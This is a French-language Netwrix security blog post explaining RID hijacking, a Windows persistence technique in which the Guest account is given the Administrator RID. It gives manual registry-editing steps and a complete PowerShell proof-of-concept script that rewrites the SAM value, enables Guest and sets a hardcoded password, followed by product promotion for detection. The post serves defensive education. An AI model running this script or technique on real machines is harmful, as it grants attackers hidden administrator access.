Détournement de RID : Comment les invités deviennent administrateurs
May 20, 2023
Le détournement de RID est une technique de persistance utilisée par les adversaires ayant compromis une machine Windows. En résumé, les attaquants utilisent le RID (identifiant relatif) du compte Administrateur local pour accorder des privilèges d'administrateur au compte Invité (ou à un autre compte local). De cette façon, ils peuvent prendre des actions en utilisant le compte Invité, qui normalement n'est pas sous le même niveau de surveillance que le compte Administrateur, pour étendre leur attaque tout en restant non détectés.
Contenu connexe sélectionné :
Comment fonctionne l'attaque
Pour réaliser un détournement de RID, un adversaire doit avoir déjà compromis une machine et obtenu des privilèges administratifs ou SYSTEM, car ils sont nécessaires pour changer la valeur du RID du compte Invité pour qu'elle soit celle du compte Administrateur. Ces valeurs sont les suivantes :
- Administrateur: 0x1F4 en hexadécimal (500 en décimal)
- Invité: 0x1F5 en hexadécimal (501 en décimal)
Étape 1. Dans l'Éditeur du Registre, regardez sous la clé SAM pour la sous-clé Utilisateurs. Ensuite, cliquez sur 000001F5 pour voir les détails du compte Invité :
Étape 2. La valeur F stocke le RID du compte. Pour modifier cette valeur, faites un clic droit dessus et sélectionnez Modifier dans le menu. La fenêtre Modifier la valeur binaire s'ouvrira :
Étape 3. À l'offset 30 se trouve la valeur 0x1F5, qui est l'identifiant relatif (RID) du compte Invité. Changez simplement cette valeur en 0x1F4, qui est le RID du compte Administrateur.
L'exécution de la commande whoami sous le compte Invité confirme que le compte Invité possède maintenant le RID Administrateur, qui est la dernière partie du SID affiché (500 en décimal) :
Script de preuve de concept
Voici un script que vous pouvez utiliser pour exécuter une preuve de concept sur cette vulnérabilité (également disponible sur GitHub) :
<#
Date 10/24/2018
Author: Kevin Joyce
Description: RID Hijacking - runs PowerShell as SYSTEM and modifies a registry value associated with the Guest account. Sets the RID to 500 (Administrator), enables and sets the password for the Guest account. The objective of this script is to be a proof of concept for a RID Hijacking persistence technique. This technique allows an attacker to use the Guest account with administrative privileges.
USE WITH CAUTION. STEALTHBITS TECHNOLOGIES, INC. IS NOT RESPONSIBLE FOR ANY DAMAGES CAUSED BY ATTEMPTING TO USE THIS SCRIPT. IT IS POSSIBLE TO CORRUPT THE GUEST ACCOUNT IF SOMETHING GOES WRONG. IT IS SUGGESTED THAT THIS BE DONE ON A VIRTUAL MACHINE AFTER A SNAPSHOT HAS BEEN TAKEN.
#>
#set path of target key
$key = 'HKLM:\SAM\SAM\Domains\Account\Users\000001F5'
#get content of target value
$binaryValue = (Get-ItemProperty -Path $key -Name "F")."F"
#exports contents of current registry values, allows to roll back if corruption occurs
reg export 'HKLM\SAM\SAM\Domains\Account\Users\000001F5' .\export.reg
Write-Host 'Registry key exported.'
#change guest RID at offset 0x30 to 244 (500) - default 245 - to set the RID back to 501 change $newValue below to 245
$newValue = 244
if ($binaryValue[48] -notin (244,245)){
throw 'Unknown value set at offset 0x30. Expected values: 244 or 245. Current value: ' + $binaryValue[48] +'.'
stop
} else {
$binaryvalue[48] = $newValue
Write-Host 'Value at 0x30 set to ' $binaryValue[48]
}
#enable guest account at offset 0x38 to 20 - default 21 - to disable guest account change $newValue below to 21
$newvalue = 20
if ($binaryValue[56] -notin (20,21)){
throw 'Unknown value set at offset 0x38. Expected values: 20 or 21. Current value: ' + $binaryValue[56]+'.'
stop
} else {
$binaryvalue[56] = $newvalue
Write-Host 'Value at 0x38 set to ' $binaryValue[56]
}
#iterate through every position from original value converting to hexadecimal and storing in new variable
$hexValue = ''
for ($i =0; $i -lt $binaryValue.length; $i++){
$hexValue += "{0:x2}" -f $binaryValue[$i]
}
Write-Host 'You are about to change the RID and enable the Guest account. Press enter to continue.'
pause
#set value of F to contents of variable
reg add "HKLM\SAM\SAM\Domains\Account\Users\000001F5" /v F /t REG_BINARY /d $hexValue /f
Write-Host 'Guest account enabled and RID set to 500.'
#set Guest password
$password = '!Password123!'
net user guest $password
Write-Host 'Guest account password set to' $password
Write-Host ""
Write-Host "Open a command prompt as Guest to see the new RID and privileges associated with the Guest account. Pressing enter will continue the script and roll back all changes besides the password of the Guest account."
Write-Host ""
Write-Host "To run a command promp as Guest, shift+right click cmd.exe and select Run as different user. When prompted enter .\Guest for the username and $password as the password. This will spawn a command prompt window. Once this pops up, enter 'whoami /all | more' to see information about the Guest account. Once complete, you can come back to this screen and press enter to continue."
pause
#imports exported contents of previous registry keys, rolls back all changes
reg import .\export.reg
Write-Host 'Registry key rolled back to original.'
Write-Host 'Proof of concept complete.'
pause
Comment Netwrix peut aider
Netwrix propose deux solutions qui peuvent vous aider à vous défendre contre le détournement de RID :
- La solution Netwrix Privileged Access Management vous permet de détecter les activités suspectes liées aux comptes privilégiés — y compris les tentatives de modification des comptes d'utilisateurs comme cela se produit dans le détournement d'ID de relative (RID hijacking). Elle vous donne également le pouvoir d'appliquer des politiques de mots de passe strictes pour empêcher l'accès non autorisé aux comptes privilégiés dès le départ, et de limiter l'utilisation des comptes privilégiés uniquement aux tâches qui nécessitent des privilèges élevés.
- Netwrix Change Tracker audite les modifications apportées à votre configuration de sécurité, y compris les modifications des valeurs RID des comptes Active Directory.
Partager sur
En savoir plus
À propos de l'auteur
Kevin Joyce
Directeur de Product Management
Directeur de Product Management chez Netwrix. Kevin a une passion pour la cybersécurité, en particulier pour comprendre les tactiques et techniques utilisées par les attaquants pour exploiter les environnements des organisations. Avec huit ans d'expérience en gestion de produit, se concentrant sur la sécurité d'Active Directory et de Windows, il a utilisé cette passion pour aider à développer des solutions permettant aux organisations de protéger leurs identités, infrastructures et données.